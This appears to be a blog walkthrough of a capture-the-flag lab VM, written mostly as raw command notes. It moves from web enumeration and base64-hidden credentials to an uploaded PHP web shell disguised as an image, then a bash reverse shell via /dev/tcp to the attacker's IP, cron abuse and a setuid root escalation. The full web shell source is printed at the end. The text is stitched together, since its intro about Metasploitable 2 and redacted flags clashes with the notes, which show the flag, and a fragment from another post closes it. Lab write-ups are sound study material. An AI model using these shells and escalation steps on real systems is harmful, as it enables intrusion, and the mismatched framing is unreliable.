Penetration Test Assessment

A penetration test assessment was a requirement of a short cource on Penetration Testing from the Charles Sturt University. As part of the assessment, students were provided an ova image of a virtual machine. The virtual machine was to be the target of a penetration test, and students were expected to obtain flags for submission. A walkthrough of the assessment is presented here.

For the benefit of other students, the names and values of the flags have been redacted, and replaced with the string REDACTED

For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases.

Set-up

This metasploitable walk-through is performed in a virtual lab environment. Two virtual machines (VMs) are used. The first is a Kali VM and the second is the Metasploitable2 VM. Both VMs have their network interfaces connected to an internal Virtualbox network called vlabnet. There is a DHCP server on the virtual lab network to dynamically allocate IP addresses to hosts.

host: 192.168.56.1 dhcp-server: 192.168.56.100 kali: 192.168.56.101

* log

  # 2015/12/24 14:45 -> 16:30 (1hr 45min)

  # 2015/12/25 15:00 -> 17:45 (2hr 45min)

  # total time = 4hrs 30min



* discovery - target

  * nmap --min-parallelism=100 -sP -T5 192.168.56.0/24

  * found target: 192.168.56.102

  

* discovery - services

  * nmap --min-parallelism=100 -A -T5 -p1-65535 192.168.56.102

  * found ports: 80



* enumerate port 80

  * wget http://192.168.56.102

  * cat index.html

  * wget http://192.168.56.102/images/keep-calm.png

  * wget http://192.168.56.102/robots.txt

    * robots.txt: disallow /cola /sisi /beer

  * wget http://192.168.56.102/cola/

    * since its not the URL, and we should drink fristi

  * wget http://192.168.56.102/fristi/

    * cat index.html

      * read description meta tag reg comment about base64

      * noticed second commented out base64

      * suspect username: eezeepz

    * extracted commented out line using vi

      * deleted other lines

      * joined all lines (:%j)

      * removed spaces (:%s/\ //g)

      * saved into fristi_img2.txt

  * base64 -d fristi_img2.txt > img2

  * file img2

  * mv img2 img2.png

  * suspect password: keKkeKKeKKeKkEkkEk



* access

  * http://192.168.56.102/fristi/

  * myusername: eezeepz, mypassword: keKkeKKeKKeKkEkkEk

  * logged into http://192.168.56.102/fristi/login_success.php

  * clicked upload file link to http://192.168.56.102/fristi/upload.php

  * uploaded img2.png and got message regarding /uploads

  * verified upload location http://192.168.56.102/fristi/uploads/img2.png



* attempted shell access using weevely (failed)

  * generated weevely shell: weevely generate password shell.php

  * cp /usr/share/weevely/shell.php .

  * attempted upload: only allowed png,jpg,gif

  * mv shell.php shell.gif

  * uploaded and connected

  * weevely http://192.168.56.102/fristi/uploads/shell.gif password

  * fixed pythong issues

    * tar zxvf PySocks-1.5.6.tar.gz

    * cd PySocks-1.5.6/

    * ./setup.py build

    * ./setup.py install

  * weevely http://192.168.56.102/fristi/uploads/shell.gif password

  * unable to connect



* used old script to execute commands

  * renamed to shell.php.jpg

  * uploaded file

  * curl http://192.168.56.102/fristi/uploads/shell.php.jpg?cmd=id

  * uid=48(apache) gid=48(apache) groups=48(apache)

  * curl http://192.168.56.102/fristi/uploads/shell.php.jpg -d cmd="cat /etc/passwd"

  * found: eezeepz, admin, fristigod, fristi

  * ls -l /home/

  * found: drwx---r-x. on eezeepz

  * ls -l /home/eezeepz

  * found: 

    * notes.txt

    * commands (various)

  * cat /home/eezeepz/notes.txt

  * found: 

    * cron runs /tmp/runthis with admin privileges every minute

    * commands chmod, df, cat, echo, ps, grep, egrep in /home/admin

    * access to /usr/bin/*

  * changed access to /home/admin

    * curl http://192s/shell.php.jpg -d cmd="echo '/home/admin/chmod 755 /home/admin/' > /tmp/runthis"

  * ls -las /home/admin/

  * found: cryptedpass.txt, cryptpass.py, and whoisyourgodnow.txt (owner by fristigod)

  * cat /home/admin/whoisyourgodnow.txt

  * found: =RFn0AKnlMHMPIzpyuTI0ITG

  * cat /home/admin/cryptedpass.txt

  * found: mVGZ3O3omkJLmy2pcuTq

  * cat /home/admin/cryptpass.py

  * found:

    * function does base64 then rot13

  * created own script to decrypt password

  * python ./decryptpass.py mVGZ3O3omkJLmy2pcuTq

  * found: thisisalsopw123

  * python ./decryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG

  * found: LetThereBeFristi!

 

* interactive shell

  * got tired of using the php script and decided to get interactive shell

  * on kali: nc -n -vvv -l -p 80

  * ran via php: /bin/bash -i > /dev/tcp/192.168.56.101/80 0<&1 2>&1, but encoded for url as %2Fbin%2Fbash%20-i%20%3E%20%2Fdev%2Ftcp%2F192.168.56.101%2F80%200%3C%261%202%3E%261

  * now have shell (without TTY, so cannot use su yet)

  * find files owned by users

    * find / -user eezeepz 2>&1 | grep -v "Permission denied"

    * find / -user admin 2>&1 | grep -v "Permission denied"

    * find / -user fristi 2>&1 | grep -v "Permission denied"

    * find / -user fristigod 2>&1 | grep -v "Permission denied"

      * found: /var/fristigod

    * found: empty mailboxes

    * found: /var/www/notes.txt 

      * not very useful since we already figured this out

  * tried to get tty shell 

    // https://pen-testing.sans.org/blog/2014/07/08/sneaky-stealthy-su-in-web-shells

    // http://netsec.ws/?p=337

  * /usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'

  * used: su fristigod and password: LetThereBeFristi!

  * cd /var/fristigod

  * ls -las 

  * found: .bash_history and .secret_admin_stuff

  * cat .bash_history

  * found: sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

  * ls -las /var/fristigod/.secret_admin_stuff/

  * found: suid/guid set on doCom file and owned by root:root

  * file /var/fristigod/.secret_admin_stuff/doCom

  * strings /var/fristigod/.secret_admin_stuff/doCom

  * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

  * found: Usage: ./program_name terminal_command ...

  * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

  * found: uid=0(root) gid=100(users) groups=100(users),502(fristigod)

  * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash

  !! got root !!

  * found: cat /root/fristileaks_secrets.txt

  * cat /root/fristileaks_secrets.txt

  * found: Flag: Y0u_kn0w_y0u_l0ve_fr1st1



# Other

* /root/.c has source for doCom

* cat /root/.mysql_history

  



* appendix

// http://snipplr.com/view/72936/simple-php-backdoor-shell/

-- start of old script -- 

<?php

if(isset($_REQUEST['cmd']))

{

  $cmd = $_REQUEST['cmd'];

  system($cmd);

  echo "<pre>$cmd</pre>";

}

else

{

  echo "<pre>usage: ?cmd=</pre>";

}

?>



-- end of old script





// modified cryptpass.py script

-- start of decryptpass.py script --

import base64,codecs,sys



#def encodeString(str):

#    base64string= base64.b64encode(str)

#    return codecs.encode(base64string[::-1], 'rot13')



def decodeString(str):

    rottedString= codecs.encode(str[::-1], 'rot13')

    return base64.b64decode(rottedString)



#cryptoResult=encodeString(sys.argv[1])

#print cryptoResult



#decryptedResult=decodeString(cryptoResult)

#print decryptedResult



decryptedResult=decodeString(sys.argv[1])

print decryptedResult

-- end of decryptpass.py script --

(This is an interim post and will be updated progressively. This note will be removed once done.)

This post extends the walk-though on the initial version of Metasploitable at http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html. It should be noted that some commands and output may have been truncated for the purposes of brevity.

Set-up The set-up included two machines in a virtual test environment using VirtualBox. The first was a Metasploitable virtual machine (VM) and the second a Kali 1.0 VM. The two hosts were configured to have a host-only network connection. The test environment was isolated to the 192.168.32.0/24 network. All commands were execute on the Kali VM.